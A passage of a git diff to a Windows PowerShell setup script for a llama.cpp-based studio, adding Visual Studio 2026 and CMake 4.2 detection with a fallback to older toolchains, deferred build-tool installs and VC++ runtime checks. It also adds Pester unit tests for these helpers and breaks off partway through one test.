+    # Does `cmake --help` actually list the generator? A VS-bundled cmake can drive
+    # VS 2026 below the 4.2 floor, so probe rather than trust the version. (#6473)
+    param([Parameter(Mandatory)][string]$Generator)
+    $help = & cmake --help 2>$null | Out-String
+    if (-not $help) { return $false }
+    $haystack = ($help -replace '\s+', ' ')
+    $needle = ($Generator -replace '\s+', ' ')
+    return $haystack.Contains($needle)
+}
+
+function Test-CmakeCanDriveGenerator {
+    # cmake can drive $Generator if it lists it (VS-bundled below 4.2) or meets the floor.
+    param([Parameter(Mandatory)][string]$Generator)
+    if (Test-CmakeListsGenerator -Generator $Generator) { return $true }
+    $verObj = Get-CmakeVersion
+    $verStr = if ($verObj) { $verObj.ToString() } else { '0.0' }
+    return (Test-CmakeSupportsGenerator -CmakeVersion $verStr -Generator $Generator)
+}
+
+function Add-DefaultCmakeToPath {
+    # Prepend the default CMake dir so a freshly winget-installed cmake wins over an
+    # older one already on PATH. $true if found. (#6473)
+    $cmakeDefaults = @(
+        "$env:ProgramFiles\CMake\bin",
+        "${env:ProgramFiles(x86)}\CMake\bin",
+        "$env:LOCALAPPDATA\CMake\bin"
+    )
+    foreach ($d in $cmakeDefaults) {
+        if (Test-Path (Join-Path $d "cmake.exe")) {
+            $env:Path = "$d;$env:Path"
+            Add-ToUserPath -Directory $d -Position 'Prepend' | Out-Null
+            return $true
+        }
+    }
+    return $false
+}
+
+function Get-FallbackVsGenerator {
+    # Newest pre-2026 VS whose generator the current cmake can drive, for when the
+    # VS 2026 generator is unusable (old/offline cmake) but an older toolchain exists.
+    # vswhere first (catches non-default roots like D:\), then Program Files; matches
+    # Find-VsBuildTools. Returns @{ Generator; InstallPath } or $null. (#6473)
+    $knownEditions = @('BuildTools', 'Community', 'Professional', 'Enterprise', 'Preview')
+
+    # install path if it holds a usable cl.exe, else $null
+    $tryCandidate = {
+        param($gen, $installPath)
+        if (-not $installPath) { return $null }
+        $vcDir = Join-Path $installPath "VC\Tools\MSVC"
+        if (-not (Test-Path $vcDir)) { return $null }
+        $cl = Get-ChildItem -Path $vcDir -Filter "cl.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1
+        if ($cl) { return @{ Generator = $gen; InstallPath = $installPath } }
+        return $null
+    }
+
+    # vswhere (non-default roots)
+    $vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
+    if (Test-Path $vsw) {
+        $json = & $vsw -all -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -format json 2>$null | Out-String
+        if ($json) {
+            try { $instances = @($json | ConvertFrom-Json) } catch { $instances = @() }
+            $ranked = $instances | ForEach-Object {
+                $label = if ($_.catalog -and $_.catalog.productLineVersion) { [string]$_.catalog.productLineVersion } else { '' }
+                [pscustomobject]@{ Gen = (Resolve-VsGeneratorFromLabel $label); Path = [string]$_.installationPath }
+            } | Where-Object { $_.Gen -and ($_.Gen -notmatch 'Visual Studio 18\b') }
+            # newest first: 2022 > 2019 > 2017
+            $ranked = $ranked | Sort-Object { switch -regex ($_.Gen) { '17 2022' {0} '16 2019' {1} '15 2017' {2} default {9} } }
+            foreach ($cand in $ranked) {
+                if (-not (Test-CmakeListsGenerator -Generator $cand.Gen)) { continue }
+                $res = & $tryCandidate $cand.Gen $cand.Path
+                if ($res) { return $res }
+            }
+        }
+    }
+
+    # Program Files scan
+    $roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}) | Where-Object { $_ }
+    $older = @(
+        @{ Dir = '2022'; Generator = 'Visual Studio 17 2022' },
+        @{ Dir = '2019'; Generator = 'Visual Studio 16 2019' },
+        @{ Dir = '2017'; Generator = 'Visual Studio 15 2017' }
+    )
+    foreach ($entry in $older) {
+        if (-not (Test-CmakeListsGenerator -Generator $entry.Generator)) { continue }
+        foreach ($r in $roots) {
+            $vsBase = Join-Path $r "Microsoft Visual Studio\$($entry.Dir)"
+            if (-not (Test-Path $vsBase)) { continue }
+            foreach ($ed in $knownEditions) {
+                $candidate = Join-Path $vsBase $ed
+                if (-not (Test-Path $candidate)) { continue }
+                $res = & $tryCandidate $entry.Generator $candidate
+                if ($res) { return $res }
+            }
+        }
+    }
+    return $null
+}
+
+# VS version label -> cmake generator. vswhere's productLineVersion is the year for
+# VS <= 2022 but the internal major "18" for VS 2026, and dir names use either form,
+# so accept both. (VS 2026 detection adapted from @LeoBorcherding's #6038.)
+function Resolve-VsGeneratorFromLabel {
+    param([string]$Label)
+    if (-not $Label) { return $null }
+    $map = @{
+        '2026' = 'Visual Studio 18 2026'; '18' = 'Visual Studio 18 2026'
+        '2022' = 'Visual Studio 17 2022'; '17' = 'Visual Studio 17 2022'
+        '2019' = 'Visual Studio 16 2019'; '16' = 'Visual Studio 16 2019'
+        '2017' = 'Visual Studio 15 2017'; '15' = 'Visual Studio 15 2017'
+    }
+    return $map[$Label.Trim()]
+}
+
+# Find VS Build Tools for cmake -G: vswhere, then a filesystem scan (handles broken
+# vswhere registration). Returns @{ Generator; InstallPath; Source } or $null.
+function Find-VsBuildTools {
+    # vswhere first (works when VS is properly registered)
     $vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
     if (Test-Path $vsw) {
         $info = & $vsw -latest -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property catalog_productLineVersion 2>$null
         $path = & $vsw -latest -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2>$null
         if ($info -and $path) {
-            $y = $info.Trim()
-            $n = $map[$y]
-            if ($n) {
-                return @{ Generator = "Visual Studio $n $y"; InstallPath = $path.Trim(); Source = 'vswhere' }
+            $gen = Resolve-VsGeneratorFromLabel $info
+            if ($gen) {
+                return @{ Generator = $gen; InstallPath = $path.Trim(); Source = 'vswhere' }
             }
         }
     }
 
-    # --- Scan filesystem (handles broken vswhere registration after winget cycles) ---
-    $roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)})
-    $editions = @('BuildTools', 'Community', 'Professional', 'Enterprise')
-    $years = @('2022', '2019', '2017')
+    # filesystem scan (handles broken vswhere registration); VS 2026+ dir is "18"
+    $roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}) | Where-Object { $_ }
+    $knownEditions = @('BuildTools', 'Community', 'Professional', 'Enterprise', 'Preview')
+    $dirs = @('18', '2026', '2022', '2019', '2017')
 
-    foreach ($y in $years) {
+    foreach ($d in $dirs) {
+        $gen = Resolve-VsGeneratorFromLabel $d
+        if (-not $gen) { continue }
         foreach ($r in $roots) {
-            foreach ($ed in $editions) {
-                $candidate = Join-Path $r "Microsoft Visual Studio\$y\$ed"
-                if (Test-Path $candidate) {
-                    $vcDir = Join-Path $candidate "VC\Tools\MSVC"
-                    if (Test-Path $vcDir) {
-                        $cl = Get-ChildItem -Path $vcDir -Filter "cl.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1
-                        if ($cl) {
-                            $n = $map[$y]
-                            if ($n) {
-                                return @{ Generator = "Visual Studio $n $y"; InstallPath = $candidate; Source = "filesystem ($ed)"; ClExe = $cl.FullName }
-                            }
-                        }
+            $vsBase = Join-Path $r "Microsoft Visual Studio\$d"
+            if (-not (Test-Path $vsBase)) { continue }
+            # VS 2026 (dir "18") may use non-standard edition names, so scan every subdir
+            if ($d -eq '18' -or $d -eq '2026') {
+                $editionCandidates = Get-ChildItem -Path $vsBase -Directory -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName }
+            } else {
+                $editionCandidates = $knownEditions | ForEach-Object { Join-Path $vsBase $_ }
+            }
+            foreach ($candidate in $editionCandidates) {
+                if (-not (Test-Path $candidate)) { continue }
+                $vcDir = Join-Path $candidate "VC\Tools\MSVC"
+                if (Test-Path $vcDir) {
+                    $cl = Get-ChildItem -Path $vcDir -Filter "cl.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1
+                    if ($cl) {
+                        $ed = Split-Path $candidate -Leaf
+                        return @{ Generator = $gen; InstallPath = $candidate; Source = "filesystem ($ed)"; ClExe = $cl.FullName }
                     }
                 }
             }
@@ -438,6 +592,103 @@ function Find-VsBuildTools {
     return $null
 }
 
+# Install CMake + VS Build Tools, deferred here from Phase 1 so the prebuilt path
+# never pays for a multi-GB install. Called only when a source build is committed.
+# CMake is best-effort (build skips downstream if absent); VS Build Tools are
+# required, so exit 1 with guidance if missing. No-ops for VS when already detected.
+function Ensure-BuildToolsForLlamaSourceBuild {
+    # CMake
+    if ($null -eq (Get-Command cmake -ErrorAction SilentlyContinue)) {
+        Write-Host "CMake not found -- installing via winget (needed for the llama.cpp source build)..." -ForegroundColor Yellow
+        if ($null -ne (Get-Command winget -ErrorAction SilentlyContinue)) {
+            try {
+                Invoke-SetupCommand { winget install Kitware.CMake --source winget --accept-package-agreements --accept-source-agreements } | Out-Null
+                Refresh-Environment
+            } catch { }
+        }
+        # winget may install cmake but not put it on PATH yet; try the default dir
+        if ($null -eq (Get-Command cmake -ErrorAction SilentlyContinue)) {
+            $cmakeDefaults = @(
+                "$env:ProgramFiles\CMake\bin",
+                "${env:ProgramFiles(x86)}\CMake\bin",
+                "$env:LOCALAPPDATA\CMake\bin"
+            )
+            foreach ($d in $cmakeDefaults) {
+                if (Test-Path (Join-Path $d "cmake.exe")) {
+                    $env:Path = "$d;$env:Path"
+                    Add-ToUserPath -Directory $d -Position 'Prepend' | Out-Null
+                    break
+                }
+            }
+        }
+        if ($null -ne (Get-Command cmake -ErrorAction SilentlyContinue)) { step "cmake" "installed" }
+    }
+
+    # VS Build Tools
+    if ($script:VsInstallPath) { return }   # already detected by the early probe
+    $vsResult = Find-VsBuildTools
+    if (-not $vsResult) {
+        Write-Host "Visual Studio Build Tools not found -- installing via winget..." -ForegroundColor Yellow
+        Write-Host "   (Needed only for the llama.cpp source build; may take several minutes)" -ForegroundColor Gray
+        if ($null -ne (Get-Command winget -ErrorAction SilentlyContinue)) {
+            $prevEAPTemp = $ErrorActionPreference
+            $ErrorActionPreference = "Continue"
+            winget install Microsoft.VisualStudio.2022.BuildTools --source winget --accept-package-agreements --accept-source-agreements --override "--add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --passive --wait"
+            $ErrorActionPreference = $prevEAPTemp
+            # Re-scan after install (don't trust vswhere catalog)
+            $vsResult = Find-VsBuildTools
+        }
+    }
+    if ($vsResult) {
+        $script:CmakeGenerator = $vsResult.Generator
+        $script:VsInstallPath = $vsResult.InstallPath
+        step "vs" "$($vsResult.Generator) ($($vsResult.Source))"
+        if ($vsResult.ClExe) { substep "cl.exe: $($vsResult.ClExe)" }
+    } else {
+        Write-Host "[ERROR] Visual Studio Build Tools are required for the llama.cpp source build but could not be found or installed." -ForegroundColor Red
+        Write-Host "        Manual install:" -ForegroundColor Red
+        Write-Host '        1. winget install Microsoft.VisualStudio.2022.BuildTools --source winget' -ForegroundColor Yellow
+        Write-Host '        2. Open Visual Studio Installer -> Modify -> check "Desktop development with C++"' -ForegroundColor Yellow
+        exit 1
+    }
+}
+
+# Detect the VC++ 2015-2022 Redistributable that the prebuilt llama-server and
+# PyTorch need (they link VCRUNTIME140_1.dll etc., which the Universal CRT lacks).
+# Signal is System32\vcruntime140_1.dll (VS 2019+), registry as fallback.
+function Test-VCRedistInstalled {
+    $sys = $env:SystemRoot
+    if ($sys -and (Test-Path (Join-Path $sys 'System32\vcruntime140_1.dll'))) { return $true }
+    foreach ($k in @(
+        'HKLM:\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64',
+        'HKLM:\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x64'
+    )) {
+        try {
+            $r = Get-ItemProperty -Path $k -ErrorAction Stop
+            if ($r.Installed -eq 1 -and [int]$r.Major -ge 14 -and [int]$r.Minor -ge 20) { return $true }
+        } catch { }
+    }
+    return $false
+}
+
+# Install the VC++ 2015-2022 runtime if missing (non-fatal; usually a no-op).
+function Ensure-VCRedist {
+    if (Test-VCRedistInstalled) { step "vcredist" "present"; return }
+    Write-Host "Microsoft Visual C++ Redistributable (2015-2022) is missing; the prebuilt llama.cpp and PyTorch need it. Installing the runtime..." -ForegroundColor Yellow
+    if ($null -ne (Get-Command winget -ErrorAction SilentlyContinue)) {
+        try {
+            Invoke-SetupCommand { winget install --id Microsoft.VCRedist.2015+.x64 --source winget --accept-package-agreements --accept-source-agreements } | Out-Null
+            Refresh-Environment
+        } catch { substep "VCRedist install failed: $($_.Exception.Message)" "Yellow" }
+    }
+    if (Test-VCRedistInstalled) { step "vcredist" "installed" }
+    else {
+        substep "Could not install the VC++ Redistributable automatically." "Yellow"
+        substep "If llama-server or torch reports a missing VCRUNTIME140.dll, install:" "Yellow"
+        substep "https://aka.ms/vs/17/release/vc_redist.x64.exe" "Yellow"
+    }
+}
+
 # ─────────────────────────────────────────────
 # Output style (aligned with studio/setup.sh: step / substep)
 # ─────────────────────────────────────────────
@@ -1110,83 +1361,39 @@ if (-not $HasGit) {
 }
 
 # ============================================
-# 1c. CMake (required for llama.cpp build)
+# 1b.5. Visual C++ Redistributable (runtime for the prebuilt llama.cpp + PyTorch)
 # ============================================
+# Runtime dep, not a build tool: the prebuilt llama-server and PyTorch load it.
+Ensure-VCRedist
+
+# ============================================
+# 1c. CMake (only needed for a llama.cpp SOURCE build -- detection only)
+# ============================================
+# Detection only: the prebuilt path needs no compiler, so do not install or exit
+# here. Ensure-BuildToolsForLlamaSourceBuild installs CMake if a source build runs.
 $HasCmake = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
-if (-not $HasCmake) {
-    Write-Host "CMake not found -- installing via winget..." -ForegroundColor Yellow
-    $HasWinget = $null -ne (Get-Command winget -ErrorAction SilentlyContinue)
-    if ($HasWinget) {
-        try {
-            Invoke-SetupCommand { winget install Kitware.CMake --source winget --accept-package-agreements --accept-source-agreements } | Out-Null
-            Refresh-Environment
-            $HasCmake = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
-        } catch { }
-    }
-    # winget may succeed but cmake isn't on PATH yet (MSI PATH changes need a
-    # new shell). Try the default install location as a fallback.
-    if (-not $HasCmake) {
-        $cmakeDefaults = @(
-            "$env:ProgramFiles\CMake\bin",
-            "${env:ProgramFiles(x86)}\CMake\bin",
-            "$env:LOCALAPPDATA\CMake\bin"
-        )
-        foreach ($d in $cmakeDefaults) {
-            if (Test-Path (Join-Path $d "cmake.exe")) {
-                $env:Path = "$d;$env:Path"
-                # Persist to user PATH (Prepend so this cmake wins over older ones).
-                Add-ToUserPath -Directory $d -Position 'Prepend' | Out-Null
-                $HasCmake = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
-                if ($HasCmake) {
-                    Write-Host "   Found cmake at $d (added to PATH)" -ForegroundColor Gray
-                    break
-                }
-            }
-        }
-    }
-    if ($HasCmake) {
-        step "cmake" "installed"
-    } else {
-        Write-Host "[ERROR] CMake is required but could not be installed." -ForegroundColor Red
-        Write-Host "        Install CMake from https://cmake.org/download/ and re-run." -ForegroundColor Red
-        exit 1
-    }
-} else {
+if ($HasCmake) {
     step "cmake" "$(cmake --version | Select-Object -First 1)"
+} else {
+    step "cmake" "not detected (only needed if a llama.cpp source build is required)" "Yellow"
 }
 
 # ============================================
-# 1d. Visual Studio Build Tools (C++ compiler for llama.cpp)
+# 1d. Visual Studio Build Tools (only needed for a llama.cpp SOURCE build -- detection only)
 # ============================================
+# Detection only: detect VS for a possible source build, but never install or exit
+# here. Install is deferred to Ensure-BuildToolsForLlamaSourceBuild.
 $CmakeGenerator = $null
 $VsInstallPath = $null
 $vsResult = Find-VsBuildTools
 
-if (-not $vsResult) {
-    Write-Host "Visual Studio Build Tools not found -- installing via winget..." -ForegroundColor Yellow
-    Write-Host "   (This is a one-time install, may take several minutes)" -ForegroundColor Gray
-    $HasWinget = $null -ne (Get-Command winget -ErrorAction SilentlyContinue)
-    if ($HasWinget) {
-        $prevEAPTemp = $ErrorActionPreference
-        $ErrorActionPreference = "Continue"
-        winget install Microsoft.VisualStudio.2022.BuildTools --source winget --accept-package-agreements --accept-source-agreements --override "--add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --passive --wait"
-        $ErrorActionPreference = $prevEAPTemp
-        # Re-scan after install (don't trust vswhere catalog)
-        $vsResult = Find-VsBuildTools
-    }
-}
-
 if ($vsResult) {
     $CmakeGenerator = $vsResult.Generator
     $VsInstallPath = $vsResult.InstallPath
-    step "vs" "$CmakeGenerator ($($vsResult.Source))"
+    step "vs" "$CmakeGenerator ($($vsResult.Source)) (only used if a source build is needed)"
     if ($vsResult.ClExe) { substep "cl.exe: $($vsResult.ClExe)" }
 } else {
-    Write-Host "[ERROR] Visual Studio Build Tools could not be found or installed." -ForegroundColor Red
-    Write-Host "        Manual install:" -ForegroundColor Red
-    Write-Host '        1. winget install Microsoft.VisualStudio.2022.BuildTools --source winget' -ForegroundColor Yellow
-    Write-Host '        2. Open Visual Studio Installer -> Modify -> check "Desktop development with C++"' -ForegroundColor Yellow
-    exit 1
+    step "vs" "not detected (only needed if a llama.cpp source build is required)" "Yellow"
 }
 
 # ============================================
@@ -1429,7 +1636,7 @@ if (Add-ToUserPath -Directory $nvccBinDir -Position 'Prepend') {
 # the MSBuild .targets/.props files that let VS compile .cu files are missing.
 # cmake fails with "No CUDA toolset found". Fix: copy from CUDA extras dir.
 if ($VsInstallPath -and $CudaToolkitRoot) {
-    $vsCustomizations = Join-Path $VsInstallPath "MSBuild\Microsoft\VC\v170\BuildCustomizations"
+    $vsCustomizations = Get-VcBuildCustomizationsDir -VsInstallPath $VsInstallPath -Generator $CmakeGenerator
     $cudaExtras = Join-Path $CudaToolkitRoot "extras\visual_studio_integration\MSBuildExtensions"
     if ((Test-Path $cudaExtras) -and (Test-Path $vsCustomizations)) {
         $hasTargets = Get-ChildItem $vsCustomizations -Filter "CUDA *.targets" -ErrorAction SilentlyContinue
@@ -3070,6 +3277,17 @@ if (Test-Path -LiteralPath $LlamaServerBin) {
     }
 }
 
+# Install build tools now (last resort) rather than eagerly in Phase 1, so the
+# prebuilt path stays fast. Same condition as the if/elseif chain below: a source
+# build runs only when needed and no usable binary is already present.
+$WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and `
+    -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master")
+if ($WillBuildLlamaFromSource) {
+    Ensure-BuildToolsForLlamaSourceBuild
+    # refresh so the chain below sees a newly installed cmake
+    $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
+}
+
 if (-not $NeedLlamaSourceBuild) {
     Write-Host ""
     step "llama.cpp" "prebuilt (validated)"
@@ -3092,10 +3310,56 @@ if (-not $NeedLlamaSourceBuild) {
     substep "Install CMake from https://cmake.org/download/ and re-run setup." "Yellow"
     $script:LlamaCppDegraded = $true
 } else {
-    # A source build is committed here. The CUDA toolkit is only needed now, so
-    # resolve (and winget-install if needed) it lazily, failing fast if no
-    # driver-compatible toolkit exists. The prebuilt path never reaches this.
+    # Finalize the VS generator (gate/fallback below) BEFORE Resolve-CudaToolkit,
+    # which copies the CUDA .targets into the current generator's dir; a later swap
+    # would strand them. The CMake 4.2 gate for VS 2026 is checked only here, in the
+    # source-build path, so a VS 2026 + cmake < 4.2 host can still use the prebuilt. (#6473)
+    if ($CmakeGenerator -match 'Visual Studio 18\b') {
+        if (-not (Test-CmakeCanDriveGenerator -Generator $CmakeGenerator)) {
+            $cmakeVerObj = Get-CmakeVersion
+            $cmakeVerStr = if ($cmakeVerObj) { $cmakeVerObj.ToString() } else { '0.0' }
+            substep "CMake $cmakeVerStr cannot drive the Visual Studio 2026 generator (need 4.2+ or a VS-bundled cmake) -- updating via winget..." "Yellow"
+            if ($null -ne (Get-Command winget -ErrorAction SilentlyContinue)) {
+                # upgrade first (fast if Kitware.CMake is already a winget app), then
+                # prepend the default dir so the new cmake wins over an older one on PATH
+                try {
+                    Invoke-SetupCommand { winget upgrade Kitware.CMake --source winget --accept-package-agreements --accept-source-agreements } | Out-Null
+                    Refresh-Environment
+                } catch { substep "CMake winget upgrade failed: $($_.Exception.Message)" "Yellow" }
+                Add-DefaultCmakeToPath | Out-Null
+                # upgrade no-ops if the cmake came from Scoop/Chocolatey/VS, not the
+                # Kitware winget package; install it so a 4.2+ cmake is available
+                if (-not (Test-CmakeCanDriveGenerator -Generator $CmakeGenerator)) {
+                    try {
+                        Invoke-SetupCommand { winget install Kitware.CMake --source winget --accept-package-agreements --accept-source-agreements } | Out-Null
+                        Refresh-Environment
+                    } catch { substep "CMake winget install failed: $($_.Exception.Message)" "Yellow" }
+                    Add-DefaultCmakeToPath | Out-Null
+                }
+            }
+            if (-not (Test-CmakeCanDriveGenerator -Generator $CmakeGenerator)) {
+                # cmake still cannot drive VS 2026; before failing, fall back to an
+                # older installed VS whose generator it can drive (e.g. VS 2022 + old
+                # cmake on an offline box keeps building)
+                $fallback = Get-FallbackVsGenerator
+                if ($fallback) {
+                    substep "CMake cannot drive $CmakeGenerator; falling back to $($fallback.Generator)" "Yellow"
+                    $CmakeGenerator = $fallback.Generator
+                    $VsInstallPath = $fallback.InstallPath
+                } else {
+                    Write-Host "[ERROR] CMake 4.2+ is required to build llama.cpp with the Visual Studio 2026 generator, and no older Visual Studio toolchain was found to fall back to." -ForegroundColor Red
+                    Write-Host "        Upgrade CMake from https://cmake.org/download/ and re-run, or use a prebuilt llama.cpp bundle." -ForegroundColor Red
+                    exit 1
+                }
+            }
+        }
+        substep "CMake can drive the $CmakeGenerator generator"
+    }
+
+    # CUDA resolved here (fail fast if none), after the final VS generator so its
+    # .targets land in the toolset cmake actually uses.
     if ($HasNvidiaSmi) { Resolve-CudaToolkit -RequireOrExit }
+
     Write-Host ""
     if ($HasNvidiaSmi) {
         substep "building llama.cpp with CUDA support..."
@@ -3447,7 +3711,8 @@ if (-not $NeedLlamaSourceBuild) {
                 Write-Host "   Copy contents of:" -ForegroundColor Yellow
                 Write-Host "     <CUDA_PATH>\extras\visual_studio_integration\MSBuildExtensions" -ForegroundColor Yellow
                 Write-Host "   into:" -ForegroundColor Yellow
-                Write-Host "     <VS_PATH>\MSBuild\Microsoft\VC\v170\BuildCustomizations" -ForegroundColor Yellow
+                $hintCustomizations = if ($VsInstallPath) { Get-VcBuildCustomizationsDir -VsInstallPath $VsInstallPath -Generator $CmakeGenerator } else { "<VS_PATH>\MSBuild\Microsoft\VC\v170\BuildCustomizations" }
+                Write-Host "     $hintCustomizations" -ForegroundColor Yellow
             }
         }
     }
diff --git a/tests/studio_setup_ps1/Get-FunctionSource.ps1 b/tests/studio_setup_ps1/Get-FunctionSource.ps1
new file mode 100644
index 0000000000..5317cde3a8
--- /dev/null
+++ b/tests/studio_setup_ps1/Get-FunctionSource.ps1
@@ -0,0 +1,55 @@
+<#
+.SYNOPSIS
+    Extracts a single `function NAME { ... }` block from a PowerShell script by
+    brace-matching, WITHOUT executing the script.
+
+.DESCRIPTION
+    studio/setup.ps1 is a top-level executing installer (it runs install steps at
+    load), so it cannot be dot-sourced directly in a test. This helper pulls just
+    the requested function's source text out of the file so a test can dot-source
+    ONLY that function.
+
+    Brace matching is naive (it counts '{' / '}' without a full tokenizer). It is
+    safe for the pure helper functions targeted here because their bodies contain
+    only balanced braces (e.g. `${env:ProgramFiles(x86)}` is self-balanced) and no
+    here-strings/comments with stray unbalanced braces.
+
+.EXAMPLE
+    $src = Get-FunctionSource -Path studio/setup.ps1 -Name Get-VcBuildCustomizationsDir
+    . ([scriptblock]::Create($src))   # defines the function in the current scope
+#>
+function Get-FunctionSource {
+    [CmdletBinding()]
+    param(
+        [Parameter(Mandatory)][string]$Path,
+        [Parameter(Mandatory)][string]$Name
+    )
+
+    if (-not (Test-Path -LiteralPath $Path)) { return $null }
+    $text = Get-Content -Raw -LiteralPath $Path
+    if ([string]::IsNullOrEmpty($text)) { return $null }
+
+    # Match "function <Name>" at the start of a line (multiline, case-insensitive).
+    $pattern = "(?im)^\s*function\s+$([regex]::Escape($Name))\b"
+    $m = [regex]::Match($text, $pattern)
+    if (-not $m.Success) { return $null }
+
+    # Locate the opening brace at/after the match.
+    $braceStart = $text.IndexOf('{', $m.Index)
+    if ($braceStart -lt 0) { return $null }
+
+    # Walk braces to the matching close.
+    $depth = 0
+    $end = -1
+    for ($i = $braceStart; $i -lt $text.Length; $i++) {
+        $c = $text[$i]
+        if ($c -eq '{') { $depth++ }
+        elseif ($c -eq '}') {
+            $depth--
+            if ($depth -eq 0) { $end = $i; break }
+        }
+    }
+    if ($end -lt 0) { return $null }
+
+    return $text.Substring($m.Index, $end - $m.Index + 1)
+}
diff --git a/tests/studio_setup_ps1/Studio.Setup.Vs2026.Tests.ps1 b/tests/studio_setup_ps1/Studio.Setup.Vs2026.Tests.ps1
new file mode 100644
index 0000000000..35c18770a5
--- /dev/null
+++ b/tests/studio_setup_ps1/Studio.Setup.Vs2026.Tests.ps1
@@ -0,0 +1,368 @@
+<#
+    Pester v5 unit tests for the Visual Studio 2026 completion helpers in
+    studio/setup.ps1:
+      - Get-VcBuildCustomizationsDir : derive the VC MSBuild BuildCustomizations
+        folder (v160 / v170 / v180) from the detected VS generator.
+      - Test-CmakeSupportsGenerator  : gate the "Visual Studio 18 2026" generator
+        on CMake >= 4.2 (no-op for older VS generators).
+
+    Both are pure functions (no GPU, no Visual Studio, no CUDA, no network), so the
+    suite runs on a stock windows-latest runner - and on any pwsh host.
+
+    The real functions are extracted from setup.ps1 and dot-sourced (the script is
+    a top-level installer and cannot be loaded wholesale). Path resolution honors
+    $env:SETUP_PS1_PATH (set by the PR-validate workflow) and falls back to the
+    repo-relative path. If a target function cannot be found, the suite FAILS
+    loudly rather than silently passing.
+#>
+
+BeforeAll {
+    . (Join-Path $PSScriptRoot 'Get-FunctionSource.ps1')
+
+    $candidates = @(
+        $env:SETUP_PS1_PATH,
+        (Join-Path $PSScriptRoot '..\..\studio\setup.ps1')
+    ) | Where-Object { $_ }
+    $script:SetupPs1 = $candidates | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
+    if (-not $script:SetupPs1) { throw "Could not locate studio/setup.ps1 (set SETUP_PS1_PATH)." }
+    Write-Host "setup.ps1 under test: $script:SetupPs1"
+
+    foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools', 'Get-VcBuildCustomizationsDir',
+                      'Test-CmakeSupportsGenerator', 'Get-CmakeVersion', 'Test-CmakeListsGenerator',
+                      'Test-CmakeCanDriveGenerator', 'Get-FallbackVsGenerator',
+                      'Ensure-BuildToolsForLlamaSourceBuild', 'Test-VCRedistInstalled')) {
+        $src = Get-FunctionSource -Path $script:SetupPs1 -Name $fn
+        if (-not $src) { throw "Function '$fn' not found in $script:SetupPs1 - cannot test the real code." }
+        . ([scriptblock]::Create($src))
+    }
+}
+
+Describe 'Resolve-VsGeneratorFromLabel (vswhere/dir label -> generator)' {
+    # Guards that detection accepts both '18' (the internal major vswhere reports
+    # for VS 2026) and the year form.
+    It 'maps the VS 2026 internal major "18" to the VS 2026 generator' {
+        Resolve-VsGeneratorFromLabel '18' | Should -Be 'Visual Studio 18 2026'
+    }
+    It 'maps the VS 2026 year label "2026" to the VS 2026 generator' {
+        Resolve-VsGeneratorFromLabel '2026' | Should -Be 'Visual Studio 18 2026'
+    }
+    It 'maps the VS 2022 year "2022" and major "17" to the VS 2022 generator' {
+        Resolve-VsGeneratorFromLabel '2022' | Should -Be 'Visual Studio 17 2022'
+        Resolve-VsGeneratorFromLabel '17'   | Should -Be 'Visual Studio 17 2022'
+    }
+    It 'maps 2019/2017 (year and major) to their generators' {
+        Resolve-VsGeneratorFromLabel '2019' | Should -Be 'Visual Studio 16 2019'
+        Resolve-VsGeneratorFromLabel '16'   | Should -Be 'Visual Studio 16 2019'
+        Resolve-VsGeneratorFromLabel '2017' | Should -Be 'Visual Studio 15 2017'
+        Resolve-VsGeneratorFromLabel '15'   | Should -Be 'Visual Studio 15 2017'
+    }
+    It 'trims whitespace (vswhere output can carry a trailing newline)' {
+        Resolve-VsGeneratorFromLabel "  18 `n" | Should -Be 'Visual Studio 18 2026'
+    }
+    It 'returns null for unknown or empty labels' {
+        Resolve-VsGeneratorFromLabel '2015' | Should -BeNullOrEmpty
+        Resolve-VsGeneratorFromLabel ''     | Should -BeNullOrEmpty
+        Resolve-VsGeneratorFromLabel $null  | Should -BeNullOrEmpty
+    }
+}
+
+Describe 'Find-VsBuildTools (VS 2026 generator discovery)' {
+    # Exercises the real discovery entry point. Windows-only: Find-VsBuildTools builds
+    # backslash candidate paths that only resolve as directories on Windows.
+    BeforeAll {
+        # Define in BeforeAll, not the Describe body: Pester 5 runs the body only at
+        # discovery, so body-level functions are not visible in the run-phase It blocks.
+        function New-FakeVsTree {
+            param([string]$Root, [string]$VersionDir, [string]$Edition = 'BuildTools')
+            $clDir = Join-Path $Root "Microsoft Visual Studio\$VersionDir\$Edition\VC\Tools\MSVC\14.50.00000\bin\Hostx64\x64"
+            New-Item -ItemType Directory -Path $clDir -Force | Out-Null
+            New-Item -ItemType File -Path (Join-Path $clDir 'cl.exe') -Force | Out-Null
+        }
+    }
+    BeforeEach {
+        $script:OrigPF    = ${env:ProgramFiles}
+        $script:OrigPFx86 = ${env:ProgramFiles(x86)}
+    }
+    AfterEach {
+        ${env:ProgramFiles}      = $script:OrigPF
+        ${env:ProgramFiles(x86)} = $script:OrigPFx86
+    }
+
+    It 'detects a filesystem-only VS 2026 BuildTools install (dir "18")' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF'
+        New-FakeVsTree -Root $root -VersionDir '18'
+        ${env:ProgramFiles}      = $root
